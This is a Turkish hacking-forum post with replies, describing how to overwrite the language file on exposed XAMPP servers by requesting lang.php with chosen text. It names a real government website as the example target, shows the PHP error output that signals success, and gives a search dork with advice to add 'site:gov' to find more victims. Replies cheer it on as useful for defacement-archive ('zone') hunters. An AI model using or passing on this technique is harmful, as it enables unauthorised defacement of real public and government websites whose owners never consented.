-Xampp File Edit Vuln-

Arkadaşlar bazen mirror sitelerinde gezerken eminim karşımıza çıkıyordur ben buna bir hack bir deface gözüyle bakmasamda sizlerle paylaşmak isterim çünkü hiç akla gelmeyecek sitelerde bulunmakta.

http://inpesca.gob.ni/xampp/lang.tmp örnek site olarak bunu verelim şimdi buraya girdiğimizde burada karşımıza şu şekil çıkıyor;

Spyhackerz.com

yazıyı nasıl editleyeceğiz ona bakalım.

http://inpesca.gob.ni/xampp/lang.php?spyhackerz.com

lang.php? ve gerisini getiriyoruz boşluk olmayacak arkadaşlar .,- gibi işaretler kullanabiliriz ardından karşımıza şu;


Warning: include(lang/spyhackerz.com.php) [function.include]: failed to open stream: No such file or directory in E:\xampp\htdocs\xampp\index.php on line 23

Warning: include() [function.include]: Failed opening 'lang/spyhackerz.com.php' for inclusion (include_path='.;E:\xampp\php\pear\') in E:\xampp\htdocs\xampp\index.php on line 23
sayfa geliyorsa işlemimiz tamamdır tekrar lang.tmp adresine girdiğimizde yazının değiştini görmüş olacağız.

Kod:
Google dork: inurl:lang.tmp
Dorku türetebilirsiniz sonuna site:gov vs gibi uzantılar ekleyerek special kasabilirsiniz

kolay gelsin arkadaşlar

 

Bu gerçekse yer yerinden oynar

 

Bu gerçekse yer yerinden oynar

En fazla zone sitelerinde zone kasarlar okadar abartcak ne var

 

Zone meraklısı arkadaşlar için yararlı konu